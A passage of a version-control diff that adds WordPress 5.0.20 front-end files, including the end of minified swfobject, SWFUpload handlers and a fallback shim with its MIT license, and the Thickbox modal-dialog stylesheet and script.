Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+="";ag+="";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+="&"+ai+"="+Z[ai]}else{am.flashvars=ai+"="+Z[ai]}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\?/.test(Z)){Z=Z.split("?")[1]}if(aa==null){return L(Z)}var Y=Z.split("&");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf("="))==aa){return L(Y[X].substring((Y[X].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display="block"}}if(E){E(B)}}a=false}}}}();
Index: /tags/5.0.20/src/wp-includes/js/swfupload/handlers.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/swfupload/handlers.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/swfupload/handlers.js	(revision 56912)
@@ -0,0 +1,54 @@
+var topWin = window.dialogArguments || opener || parent || top;
+
+function fileDialogStart() {}
+function fileQueued() {}
+function uploadStart() {}
+function uploadProgress() {}
+function prepareMediaItem() {}
+function prepareMediaItemInit() {}
+function itemAjaxError() {}
+function deleteSuccess() {}
+function deleteError() {}
+function updateMediaForm() {}
+function uploadSuccess() {}
+function uploadComplete() {}
+function wpQueueError() {}
+function wpFileError() {}
+function fileQueueError() {}
+function fileDialogComplete() {}
+function uploadError() {}
+function cancelUpload() {}
+
+function switchUploader() {
+	jQuery( '#' + swfu.customSettings.swfupload_element_id ).hide();
+	jQuery( '#' + swfu.customSettings.degraded_element_id ).show();
+	jQuery( '.upload-html-bypass' ).hide();
+}
+
+function swfuploadPreLoad() {
+	switchUploader();
+}
+
+function swfuploadLoadFailed() {
+	switchUploader();
+}
+
+jQuery(document).ready(function($){
+	$( 'input[type="radio"]', '#media-items' ).on( 'click', function(){
+		var tr = $(this).closest('tr');
+
+		if ( $(tr).hasClass('align') )
+			setUserSetting('align', $(this).val());
+		else if ( $(tr).hasClass('image-size') )
+			setUserSetting('imgsize', $(this).val());
+	});
+
+	$( 'button.button', '#media-items' ).on( 'click', function(){
+		var c = this.className || '';
+		c = c.match(/url([^ '"]+)/);
+		if ( c && c[1] ) {
+			setUserSetting('urlbutton', c[1]);
+			$(this).siblings('.urlfield').val( $(this).attr('title') );
+		}
+	});
+});
Index: /tags/5.0.20/src/wp-includes/js/swfupload/handlers.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/swfupload/handlers.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/swfupload/handlers.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+function fileDialogStart(){}function fileQueued(){}function uploadStart(){}function uploadProgress(){}function prepareMediaItem(){}function prepareMediaItemInit(){}function itemAjaxError(){}function deleteSuccess(){}function deleteError(){}function updateMediaForm(){}function uploadSuccess(){}function uploadComplete(){}function wpQueueError(){}function wpFileError(){}function fileQueueError(){}function fileDialogComplete(){}function uploadError(){}function cancelUpload(){}function switchUploader(){jQuery("#"+swfu.customSettings.swfupload_element_id).hide(),jQuery("#"+swfu.customSettings.degraded_element_id).show(),jQuery(".upload-html-bypass").hide()}function swfuploadPreLoad(){switchUploader()}function swfuploadLoadFailed(){switchUploader()}var topWin=window.dialogArguments||opener||parent||top;jQuery(document).ready(function(a){a('input[type="radio"]',"#media-items").on("click",function(){var b=a(this).closest("tr");a(b).hasClass("align")?setUserSetting("align",a(this).val()):a(b).hasClass("image-size")&&setUserSetting("imgsize",a(this).val())}),a("button.button","#media-items").on("click",function(){var b=this.className||"";b=b.match(/url([^ '"]+)/),b&&b[1]&&(setUserSetting("urlbutton",b[1]),a(this).siblings(".urlfield").val(a(this).attr("title")))})});
Index: /tags/5.0.20/src/wp-includes/js/swfupload/license.txt
===================================================================
--- /tags/5.0.20/src/wp-includes/js/swfupload/license.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/swfupload/license.txt	(revision 56912)
@@ -0,0 +1,32 @@
+/**
+ * SWFUpload: http://www.swfupload.org, http://swfupload.googlecode.com
+ *
+ * mmSWFUpload 1.0: Flash upload dialog - http://profandesign.se/swfupload/,  http://www.vinterwebb.se/
+ *
+ * SWFUpload is (c) 2006-2007 Lars Huring, Olov Nilzén and Mammon Media and is released under the MIT License:
+ * http://www.opensource.org/licenses/mit-license.php
+ *
+ * SWFUpload 2 is (c) 2007-2008 Jake Roberts and is released under the MIT License:
+ * http://www.opensource.org/licenses/mit-license.php
+ *
+ */
+
+The MIT License
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
Index: /tags/5.0.20/src/wp-includes/js/swfupload/swfupload.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/swfupload/swfupload.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/swfupload/swfupload.js	(revision 56912)
@@ -0,0 +1,140 @@
+/**
+ * SWFUpload fallback
+ *
+ * @since 4.9.0
+ */
+
+var SWFUpload;
+
+( function () {
+	function noop() {}
+
+	if (SWFUpload == undefined) {
+		SWFUpload = function (settings) {
+			this.initSWFUpload(settings);
+		};
+	}
+
+	SWFUpload.prototype.initSWFUpload = function ( settings ) {
+		function fallback() {
+			var $ = window.jQuery;
+			var $placeholder = settings.button_placeholder_id ? $( '#' + settings.button_placeholder_id ) : $( settings.button_placeholder );
+
+			if ( ! $placeholder.length ) {
+				return;
+			}
+
+			var $form = $placeholder.closest( 'form' );
+
+			if ( ! $form.length ) {
+				$form = $( '<form enctype="multipart/form-data" method="post">' );
+				$form.attr( 'action', settings.upload_url );
+				$form.insertAfter( $placeholder ).append( $placeholder );
+			}
+
+			$placeholder.replaceWith(
+				$( '<div>' )
+					.append(
+						$( '<input type="file" multiple />' ).attr({
+							name: settings.file_post_name || 'async-upload',
+							accepts: settings.file_types || '*.*'
+						})
+					).append(
+						$( '<input type="submit" name="html-upload" class="button" value="Upload" />' )
+					)
+			);
+		}
+
+		try {
+			// Try the built-in fallback.
+			if ( typeof settings.swfupload_load_failed_handler === 'function' && settings.custom_settings ) {
+
+				window.swfu = {
+					customSettings: settings.custom_settings
+				};
+
+				settings.swfupload_load_failed_handler();
+			} else {
+				fallback();
+			}
+		} catch ( ex ) {
+			fallback();
+		}
+	};
+
+	SWFUpload.instances = {};
+	SWFUpload.movieCount = 0;
+	SWFUpload.version = "0";
+	SWFUpload.QUEUE_ERROR = {};
+	SWFUpload.UPLOAD_ERROR = {};
+	SWFUpload.FILE_STATUS = {};
+	SWFUpload.BUTTON_ACTION = {};
+	SWFUpload.CURSOR = {};
+	SWFUpload.WINDOW_MODE = {};
+
+	SWFUpload.completeURL = noop;
+	SWFUpload.prototype.initSettings = noop;
+	SWFUpload.prototype.loadFlash = noop;
+	SWFUpload.prototype.getFlashHTML = noop;
+	SWFUpload.prototype.getFlashVars = noop;
+	SWFUpload.prototype.getMovieElement = noop;
+	SWFUpload.prototype.buildParamString = noop;
+	SWFUpload.prototype.destroy = noop;
+	SWFUpload.prototype.displayDebugInfo = noop;
+	SWFUpload.prototype.addSetting = noop;
+	SWFUpload.prototype.getSetting = noop;
+	SWFUpload.prototype.callFlash = noop;
+	SWFUpload.prototype.selectFile = noop;
+	SWFUpload.prototype.selectFiles = noop;
+	SWFUpload.prototype.startUpload = noop;
+	SWFUpload.prototype.cancelUpload = noop;
+	SWFUpload.prototype.stopUpload = noop;
+	SWFUpload.prototype.getStats = noop;
+	SWFUpload.prototype.setStats = noop;
+	SWFUpload.prototype.getFile = noop;
+	SWFUpload.prototype.addFileParam = noop;
+	SWFUpload.prototype.removeFileParam = noop;
+	SWFUpload.prototype.setUploadURL = noop;
+	SWFUpload.prototype.setPostParams = noop;
+	SWFUpload.prototype.addPostParam = noop;
+	SWFUpload.prototype.removePostParam = noop;
+	SWFUpload.prototype.setFileTypes = noop;
+	SWFUpload.prototype.setFileSizeLimit = noop;
+	SWFUpload.prototype.setFileUploadLimit = noop;
+	SWFUpload.prototype.setFileQueueLimit = noop;
+	SWFUpload.prototype.setFilePostName = noop;
+	SWFUpload.prototype.setUseQueryString = noop;
+	SWFUpload.prototype.setRequeueOnError = noop;
+	SWFUpload.prototype.setHTTPSuccess = noop;
+	SWFUpload.prototype.setAssumeSuccessTimeout = noop;
+	SWFUpload.prototype.setDebugEnabled = noop;
+	SWFUpload.prototype.setButtonImageURL = noop;
+	SWFUpload.prototype.setButtonDimensions = noop;
+	SWFUpload.prototype.setButtonText = noop;
+	SWFUpload.prototype.setButtonTextPadding = noop;
+	SWFUpload.prototype.setButtonTextStyle = noop;
+	SWFUpload.prototype.setButtonDisabled = noop;
+	SWFUpload.prototype.setButtonAction = noop;
+	SWFUpload.prototype.setButtonCursor = noop;
+	SWFUpload.prototype.queueEvent = noop;
+	SWFUpload.prototype.executeNextEvent = noop;
+	SWFUpload.prototype.unescapeFilePostParams = noop;
+	SWFUpload.prototype.testExternalInterface = noop;
+	SWFUpload.prototype.flashReady = noop;
+	SWFUpload.prototype.cleanUp = noop;
+	SWFUpload.prototype.fileDialogStart = noop;
+	SWFUpload.prototype.fileQueued = noop;
+	SWFUpload.prototype.fileQueueError = noop;
+	SWFUpload.prototype.fileDialogComplete = noop;
+	SWFUpload.prototype.uploadStart = noop;
+	SWFUpload.prototype.returnUploadStart = noop;
+	SWFUpload.prototype.uploadProgress = noop;
+	SWFUpload.prototype.uploadError = noop;
+	SWFUpload.prototype.uploadSuccess = noop;
+	SWFUpload.prototype.uploadComplete = noop;
+	SWFUpload.prototype.debug = noop;
+	SWFUpload.prototype.debugMessage = noop;
+	SWFUpload.Console = {
+		writeLine: noop
+	};
+}() );
Index: /tags/5.0.20/src/wp-includes/js/thickbox/thickbox.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/thickbox/thickbox.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/thickbox/thickbox.css	(revision 56912)
@@ -0,0 +1,156 @@
+#TB_overlay {
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	position: fixed;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	left: 0;
+	z-index: 100050; /* Above DFW. */
+}
+
+#TB_window {
+	position: fixed;
+	background-color: #fff;
+	z-index: 100050; /* Above DFW. */
+	visibility: hidden;
+	text-align: left;
+	top: 50%;
+	left: 50%;
+	-webkit-box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+}
+
+#TB_window img#TB_Image {
+	display: block;
+	margin: 15px 0 0 15px;
+	border-right: 1px solid #ccc;
+	border-bottom: 1px solid #ccc;
+	border-top: 1px solid #666;
+	border-left: 1px solid #666;
+}
+
+#TB_caption{
+	height: 25px;
+	padding: 7px 30px 10px 25px;
+	float: left;
+}
+
+#TB_closeWindow {
+	height: 25px;
+	padding: 11px 25px 10px 0;
+	float: right;
+}
+
+#TB_closeWindowButton {
+	position: absolute;
+	left: auto;
+	right: 0;
+	width: 29px;
+	height: 29px;
+	border: 0;
+	padding: 0;
+	background: none;
+	cursor: pointer;
+	outline: none;
+	-webkit-transition: color .1s ease-in-out, background .1s ease-in-out;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+#TB_ajaxWindowTitle {
+	float: left;
+	font-weight: 600;
+	line-height: 29px;
+	overflow: hidden;
+	padding: 0 29px 0 10px;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+	width: calc( 100% - 39px );
+}
+
+#TB_title {
+	background: #fcfcfc;
+	border-bottom: 1px solid #ddd;
+	height: 29px;
+}
+
+#TB_ajaxContent {
+	clear: both;
+	padding: 2px 15px 15px 15px;
+	overflow: auto;
+	text-align: left;
+	line-height: 1.4em;
+}
+
+#TB_ajaxContent.TB_modal {
+	padding: 15px;
+}
+
+#TB_ajaxContent p {
+	padding: 5px 0px 5px 0px;
+}
+
+#TB_load {
+	position: fixed;
+	display: none;
+	z-index: 100050;
+	top: 50%;
+	left: 50%;
+	background-color: #E8E8E8;
+	border: 1px solid #555;
+	margin: -45px 0 0 -125px;
+	padding: 40px 15px 15px;
+}
+
+#TB_HideSelect {
+	z-index: 99;
+	position: fixed;
+	top: 0;
+	left: 0;
+	background-color: #fff;
+	border: none;
+	filter: alpha(opacity=0);
+	opacity: 0;
+	height: 100%;
+	width: 100%;
+}
+
+#TB_iframeContent {
+	clear: both;
+	border: none;
+}
+
+.tb-close-icon {
+	display: block;
+	color: #666;
+	text-align: center;
+	line-height: 29px;
+	width: 29px;
+	height: 29px;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+.tb-close-icon:before {
+	content: "\f158";
+	font: normal 20px/29px dashicons;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+#TB_closeWindowButton:hover .tb-close-icon,
+#TB_closeWindowButton:focus .tb-close-icon {
+	color: #00a0d2;
+}
+
+#TB_closeWindowButton:focus .tb-close-icon {
+	-webkit-box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
Index: /tags/5.0.20/src/wp-includes/js/thickbox/thickbox.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/thickbox/thickbox.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/thickbox/thickbox.js	(revision 56912)
@@ -0,0 +1,338 @@
+/*
+ * Thickbox 3.1 - One Box To Rule Them All.
+ * By Cody Lindley (http://www.codylindley.com)
+ * Copyright (c) 2007 cody lindley
+ * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php
+*/
+
+if ( typeof tb_pathToImage != 'string' ) {
+	var tb_pathToImage = thickboxL10n.loadingAnimation;
+}
+
+/*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/
+
+//on page load call tb_init
+jQuery(document).ready(function(){
+	tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox
+	imgLoader = new Image();// preload image
+	imgLoader.src = tb_pathToImage;
+});
+
+/*
+ * Add thickbox to href & area elements that have a class of .thickbox.
+ * Remove the loading indicator when content in an iframe has loaded.
+ */
+function tb_init(domChunk){
+	jQuery( 'body' )
+		.on( 'click', domChunk, tb_click )
+		.on( 'thickbox:iframe:loaded', function() {
+			jQuery( '#TB_window' ).removeClass( 'thickbox-loading' );
+		});
+}
+
+function tb_click(){
+	var t = this.title || this.name || null;
+	var a = this.href || this.alt;
+	var g = this.rel || false;
+	tb_show(t,a,g);
+	this.blur();
+	return false;
+}
+
+function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link
+
+	var $closeBtn;
+
+	try {
+		if (typeof document.body.style.maxHeight === "undefined") {//if IE 6
+			jQuery("body","html").css({height: "100%", width: "100%"});
+			jQuery("html").css("overflow","hidden");
+			if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6
+				jQuery("body").append("<iframe id='TB_HideSelect'>"+thickboxL10n.noiframes+"</iframe><div id='TB_overlay'></div><div id='TB_window' class='thickbox-loading'></div>");
+				jQuery("#TB_overlay").click(tb_remove);
+			}
+		}else{//all others
+			if(document.getElementById("TB_overlay") === null){
+				jQuery("body").append("<div id='TB_overlay'></div><div id='TB_window' class='thickbox-loading'></div>");
+				jQuery("#TB_overlay").click(tb_remove);
+				jQuery( 'body' ).addClass( 'modal-open' );
+			}
+		}
+
+		if(tb_detectMacXFF()){
+			jQuery("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash
+		}else{
+			jQuery("#TB_overlay").addClass("TB_overlayBG");//use background and opacity
+		}
+
+		if(caption===null){caption="";}
+		jQuery("body").append("<div id='TB_load'><img src='"+imgLoader.src+"' width='208' /></div>");//add loader to the page
+		jQuery('#TB_load').show();//show loader
+
+		var baseURL;
+	   if(url.indexOf("?")!==-1){ //ff there is a query string involved
+			baseURL = url.substr(0, url.indexOf("?"));
+	   }else{
+	   		baseURL = url;
+	   }
+
+	   var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$/;
+	   var urlType = baseURL.toLowerCase().match(urlString);
+
+		if(urlType == '.jpg' || urlType == '.jpeg' || urlType == '.png' || urlType == '.gif' || urlType == '.bmp'){//code to show images
+
+			TB_PrevCaption = "";
+			TB_PrevURL = "";
+			TB_PrevHTML = "";
+			TB_NextCaption = "";
+			TB_NextURL = "";
+			TB_NextHTML = "";
+			TB_imageCount = "";
+			TB_FoundURL = false;
+			if(imageGroup){
+				TB_TempArray = jQuery("a[rel="+imageGroup+"]").get();
+				for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) {
+					var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString);
+						if (!(TB_TempArray[TB_Counter].href == url)) {
+							if (TB_FoundURL) {
+								TB_NextCaption = TB_TempArray[TB_Counter].title;
+								TB_NextURL = TB_TempArray[TB_Counter].href;
+								TB_NextHTML = "<span id='TB_next'>&nbsp;&nbsp;<a href='#'>"+thickboxL10n.next+"</a></span>";
+							} else {
+								TB_PrevCaption = TB_TempArray[TB_Counter].title;
+								TB_PrevURL = TB_TempArray[TB_Counter].href;
+								TB_PrevHTML = "<span id='TB_prev'>&nbsp;&nbsp;<a href='#'>"+thickboxL10n.prev+"</a></span>";
+							}
+						} else {
+							TB_FoundURL = true;
+							TB_imageCount = thickboxL10n.image + ' ' + (TB_Counter + 1) + ' ' + thickboxL10n.of + ' ' + (TB_TempArray.length);
+						}
+				}
+			}
+
+			imgPreloader = new Image();
+			imgPreloader.onload = function(){
+			imgPreloader.onload = null;
+
+			// Resizing large images - original by Christian Montoya edited by me.
+			var pagesize = tb_getPageSize();
+			var x = pagesize[0] - 150;
+			var y = pagesize[1] - 150;
+			var imageWidth = imgPreloader.width;
+			var imageHeight = imgPreloader.height;
+			if (imageWidth > x) {
+				imageHeight = imageHeight * (x / imageWidth);
+				imageWidth = x;
+				if (imageHeight > y) {
+					imageWidth = imageWidth * (y / imageHeight);
+					imageHeight = y;
+				}
+			} else if (imageHeight > y) {
+				imageWidth = imageWidth * (y / imageHeight);
+				imageHeight = y;
+				if (imageWidth > x) {
+					imageHeight = imageHeight * (x / imageWidth);
+					imageWidth = x;
+				}
+			}
+			// End Resizing
+
+			TB_WIDTH = imageWidth + 30;
+			TB_HEIGHT = imageHeight + 60;
+			jQuery("#TB_window").append("<a href='' id='TB_ImageOff'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+caption+"'/></a>" + "<div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount + TB_PrevHTML + TB_NextHTML + "</div></div><div id='TB_closeWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon'></span></button></div>");
+
+			jQuery("#TB_closeWindowButton").click(tb_remove);
+
+			if (!(TB_PrevHTML === "")) {
+				function goPrev(){
+					if(jQuery(document).unbind("click",goPrev)){jQuery(document).unbind("click",goPrev);}
+					jQuery("#TB_window").remove();
+					jQuery("body").append("<div id='TB_window'></div>");
+					tb_show(TB_PrevCaption, TB_PrevURL, imageGroup);
+					return false;
+				}
+				jQuery("#TB_prev").click(goPrev);
+			}
+
+			if (!(TB_NextHTML === "")) {
+				function goNext(){
+					jQuery("#TB_window").remove();
+					jQuery("body").append("<div id='TB_window'></div>");
+					tb_show(TB_NextCaption, TB_NextURL, imageGroup);
+					return false;
+				}
+				jQuery("#TB_next").click(goNext);
+
+			}
+
+			jQuery(document).bind('keydown.thickbox', function(e){
+				if ( e.which == 27 ){ // close
+					tb_remove();
+
+				} else if ( e.which == 190 ){ // display previous image
+					if(!(TB_NextHTML == "")){
+						jQuery(document).unbind('thickbox');
+						goNext();
+					}
+				} else if ( e.which == 188 ){ // display next image
+					if(!(TB_PrevHTML == "")){
+						jQuery(document).unbind('thickbox');
+						goPrev();
+					}
+				}
+				return false;
+			});
+
+			tb_position();
+			jQuery("#TB_load").remove();
+			jQuery("#TB_ImageOff").click(tb_remove);
+			jQuery("#TB_window").css({'visibility':'visible'}); //for safari using css instead of show
+			};
+
+			imgPreloader.src = url;
+		}else{//code to show html
+
+			var queryString = url.replace(/^[^\?]+\??/,'');
+			var params = tb_parseQuery( queryString );
+
+			TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no parameters were added to URL
+			TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no parameters were added to URL
+			ajaxContentW = TB_WIDTH - 30;
+			ajaxContentH = TB_HEIGHT - 45;
+
+			if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window
+					urlNoQuery = url.split('TB_');
+					jQuery("#TB_iframeContent").remove();
+					if(params['modal'] != "true"){//iframe no modal
+						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon'></span></button></div></div><iframe frameborder='0' hspace='0' allowtransparency='true' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' >"+thickboxL10n.noiframes+"</iframe>");
+					}else{//iframe modal
+					jQuery("#TB_overlay").unbind();
+						jQuery("#TB_window").append("<iframe frameborder='0' hspace='0' allowtransparency='true' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;'>"+thickboxL10n.noiframes+"</iframe>");
+					}
+			}else{// not an iframe, ajax
+					if(jQuery("#TB_window").css("visibility") != "visible"){
+						if(params['modal'] != "true"){//ajax no modal
+						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon'></span></button></div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px'></div>");
+						}else{//ajax modal
+						jQuery("#TB_overlay").unbind();
+						jQuery("#TB_window").append("<div id='TB_ajaxContent' class='TB_modal' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>");
+						}
+					}else{//this means the window is already up, we are just loading new content via ajax
+						jQuery("#TB_ajaxContent")[0].style.width = ajaxContentW +"px";
+						jQuery("#TB_ajaxContent")[0].style.height = ajaxContentH +"px";
+						jQuery("#TB_ajaxContent")[0].scrollTop = 0;
+						jQuery("#TB_ajaxWindowTitle").html(caption);
+					}
+			}
+
+			jQuery("#TB_closeWindowButton").click(tb_remove);
+
+				if(url.indexOf('TB_inline') != -1){
+					jQuery("#TB_ajaxContent").append(jQuery('#' + params['inlineId']).children());
+					jQuery("#TB_window").bind('tb_unload', function () {
+						jQuery('#' + params['inlineId']).append( jQuery("#TB_ajaxContent").children() ); // move elements back when you're finished
+					});
+					tb_position();
+					jQuery("#TB_load").remove();
+					jQuery("#TB_window").css({'visibility':'visible'});
+				}else if(url.indexOf('TB_iframe') != -1){
+					tb_position();
+					jQuery("#TB_load").remove();
+					jQuery("#TB_window").css({'visibility':'visible'});
+				}else{
+					var load_url = url;
+					load_url += -1 === url.indexOf('?') ? '?' : '&';
+					jQuery("#TB_ajaxContent").load(load_url += "random=" + (new Date().getTime()),function(){//to do a post change this load method
+						tb_position();
+						jQuery("#TB_load").remove();
+						tb_init("#TB_ajaxContent a.thickbox");
+						jQuery("#TB_window").css({'visibility':'visible'});
+					});
+				}
+
+		}
+
+		if(!params['modal']){
+			jQuery(document).bind('keydown.thickbox', function(e){
+				if ( e.which == 27 ){ // close
+					tb_remove();
+					return false;
+				}
+			});
+		}
+
+		$closeBtn = jQuery( '#TB_closeWindowButton' );
+		/*
+		 * If the native Close button icon is visible, move focus on the button
+		 * (e.g. in the Network Admin Themes screen).
+		 * In other admin screens is hidden and replaced by a different icon.
+		 */
+		if ( $closeBtn.find( '.tb-close-icon' ).is( ':visible' ) ) {
+			$closeBtn.focus();
+		}
+
+	} catch(e) {
+		//nothing here
+	}
+}
+
+//helper functions below
+function tb_showIframe(){
+	jQuery("#TB_load").remove();
+	jQuery("#TB_window").css({'visibility':'visible'}).trigger( 'thickbox:iframe:loaded' );
+}
+
+function tb_remove() {
+ 	jQuery("#TB_imageOff").unbind("click");
+	jQuery("#TB_closeWindowButton").unbind("click");
+	jQuery( '#TB_window' ).fadeOut( 'fast', function() {
+		jQuery( '#TB_window, #TB_overlay, #TB_HideSelect' ).trigger( 'tb_unload' ).unbind().remove();
+		jQuery( 'body' ).trigger( 'thickbox:removed' );
+	});
+	jQuery( 'body' ).removeClass( 'modal-open' );
+	jQuery("#TB_load").remove();
+	if (typeof document.body.style.maxHeight == "undefined") {//if IE 6
+		jQuery("body","html").css({height: "auto", width: "auto"});
+		jQuery("html").css("overflow","");
+	}
+	jQuery(document).unbind('.thickbox');
+	return false;
+}
+
+function tb_position() {
+var isIE6 = typeof document.body.style.maxHeight === "undefined";
